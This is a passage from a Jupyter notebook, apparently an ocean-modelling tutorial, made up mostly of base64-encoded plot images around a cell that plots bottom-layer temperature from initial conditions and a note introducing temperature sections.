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", "text/plain": [ "<Figure size 1300x700 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "%time initial_conditions.plot(\"temp\", s=0, depth_contours=True) # plot bottom layer" ] }, { "cell_type": "markdown", "id": "69c7527b-5260-4356-9f11-734e4623c49d", "metadata": {}, "source": [ "Next, we slice our domain along one of the horizontal dimensions and look at temperature along these sections." ] }, { "cell_type": "code", "execution_count": 13, "id": "65ae264c-f9a3-4b7b-bfa4-1f3e8413df42", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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Jknj00UeF4nf27Nn897//5ZprrmHOnDl4PB5OPfVUpk+fzsEHH8wNN9xAS0sLhYWF/Oc//8mqYXfhhRfy+OOPc9lll/HWW29x6KGHEo1GWbduHY8//jivvvpqIlTjbbfdxu23385bb72VMt9CTx566CFeeuklHn74YSorKwG9gfSNb3yDBx54gO9///sZ128o+OlPf8q///1vTjzxRK688koKCwt55JFHqK2t5amnnkKW+7aBDZbPPcCNN97IE088wdFHH81VV11FV1cX99xzDzNmzBAOwjYxMTERMvwBekxMvhrEw/StWbNGO+ecc7ScnBytoKBA++EPf6j5/f6UvOFwWLv99tu1mpoazWq1alVVVdoNN9zQK/RdQ0ODdvLJJ2s5OTkakBIWs7OzU7vhhhu0CRMmaDabTSsuLtYOOeQQ7Te/+Y0WCoU0TesOhXnPPff0qi89wltGIhHtiiuu0EpKSjRJklLCYvbM29raql1yySVacXGx5vF4tIULF2rr1q3TqqurU0IAZhoKU9P08J6jR4/WZFnuFSLxqaee0g477DDN7XZrbrdbmzJlivaDH/xAW79+fSLPkUceqU2fPr1XudXV1drJJ58sPP8f/OAHie/Z3L+B1knTNO2DDz7QDj74YM3pdGqjRo3Srr/++kSIzuTr1dXVpV1wwQVafn6+BqSExdy8ebN23HHHaXa7XSsrK9NuvPFG7fXXXxeGwjSqRygU0n71q19p06dP1+x2u1ZQUKDNnj1bu/3227X29vZEvmuvvVaTJElbu3atsBxN07S6ujotLy9PO/XUU3ttO/PMMzW3261t2bJF07SBhcJsbGzstc3oPh955JG9wslu3rxZO+ecc7T8/HzN4XBoc+fO1V588cWM6zGYrFq1Sjv++OM1l8ul5efna1//+te1hoaGvVIXExOTfRNJ00ZAv6iJyZeQuGWzsbExa6u5yd7HvH99M3fuXKqrq3niiSf2dlVMTExMTJIw3XJMTExMTLKio6ODFStW8Mgjj+ztqpiYmJiY9MAU9yYmJiYmWZGbmyuMxz5YdHV10dXV1WeekpISw1CXJiYmJl9lTHFvYmJiYjKi+M1vfsPtt9/eZ57a2tpEOFITExMTk26+Uj73999/P/fccw8NDQ3MnDmTP/zhD8ydO3dvV8vExMTEJIktW7awZcuWPvMcdthhOByOYaqRiYmJyb7DV0bc//e//+Wiiy7iz3/+M/PmzeO+++7jiSeeYP369ZSWlu7t6pmYmJiYmJiYmJgMmK+MuJ83bx5z5szhj3/8I6BPs15VVcUVV1zBT3/6071cOxMTExMTExMTE5OB85XwuQ+FQixdupQbbrghkSbLMscdd1zKrIRxgsFgymAxVVVpaWmhqKhoUKdkNzExMTExMTEZbDRNo7Ozk1GjRqWdiG04CAQChEKhQSvPZrOZbnl98JUQ901NTUSjUcrKylLSy8rKWLduXa/8d999d9rBXCYmJiYmJiYmI5m6urrEzNB7i0AgQInTQxfRQSuzvLyc2tpaU+Ab8JUQ99lyww03cM011yS+t7e3M2bMGG5nLAqpLWBRO9RosvdJgjSjYHJWQZrXIK9bkFZuF/+ILEpvLywjx6xQpHcvRSQq7rnwOHofz2ZTe6cpvdMArHLvSshW8bG0SO+8qibOGzaor4i88t4/h5wKmzCvPNYpSDSob0B8zhkTyWJ/wbVBMbgG9t7WHMlhYOGxCUIOWgzK9WX+B651hHsnis4BIJyFB6FNUDejag2FUcslDtEoVdh7J1oNKtAiuDZGj4Lovo0WPKNGGJUrqppR76XB8y9CEj07WewvekY0Vfx8iKprlFeUWTL4/Wii32XY4EL6Uu+lpmm0h1Qau8I0ecP6uitMo1dfmrxRmrtCNHnDNHWG8Bu9VPZBLBYLdrsdu92Oy+XC4/FQWFhIYWEhubm5uN3uxJKbm4vdLvjNmPRJcXExRxxxBGPGjCEnJ2dvV4dQKEQXUa6lBvsg/OEGUfltQy2hUMgU9wZ8JcR9cXExiqKwe/fulPTdu3dTXl7eK3/8j6cnThScpL60ReJe8EoGoFCQFjDIK5KUYpkJHkFascGL0iIQ0YbiXlBGxEBEewR5HXIW4l7Q6FAMxKNKFuKezAVDga33zyHXIWpmgewW3A0jcW9wzhmTjbgXCWAjEZ6NuHdkIe6VLMS9qPFlJOJDWVwH0XkYNRqyEZWZ4jYQ97kCoWIzuOZhQb2yEff5WYii4Rb3ogZNNvdBIKJHgrhXA1Eau8LUtQbY2RqkviNEQ3uI+mY/9R0hdneGaegMsaczTCia3XA3u02htMhFXo4Dm1VGVTUCEYXWNi9NLZ1EsyxvsMnJyaG8vJxx48YxY8YMDjjgAGbNmkVlZSU5OTmmS+sw09HRATCirrsdGQfm3BTDwVdC3NtsNmbPns3ixYs544wzAN2PfvHixfzwhz/MqqxID2HZbVDRElvCkJIr/tknyBvokTeePxvLfc9XjAR0aFGk2GeQEp+tmpb4LMe3aiTShuOPQNP089diddeAqKahoaFp3WmyKumfNS3lGqk9XmKSBJomxc5SPw8FXStENRkZEstI+qMbTjRNQ9Vi1zx2PdVI0mct9lmTUeP3IZamaqCG5MT3qBpLV6TE9qgaW2saUX80kRbVNKKJz7H9NYioGlFVI9IVIappRFSIaBoRVSMSia17pIcjamo+TSOs6nnC8TyxfcJSPA/dZUX1Osb3V6G7flr3tdCSrlOc+G9DX+vPkiJJKHJsLUlYJLDIsc8WCassYZH1tVWWsCkSVrcFmyX+XcaqSNhssXXsu1WW9LVfRZGTvssSFqm7TIusH88iSSgOWf8cP74soVi07vrJyQv6OpYuyyBrErIEshRby/payqJxvDeIP9eqqhGNarHnUH9Go2rS9x5p4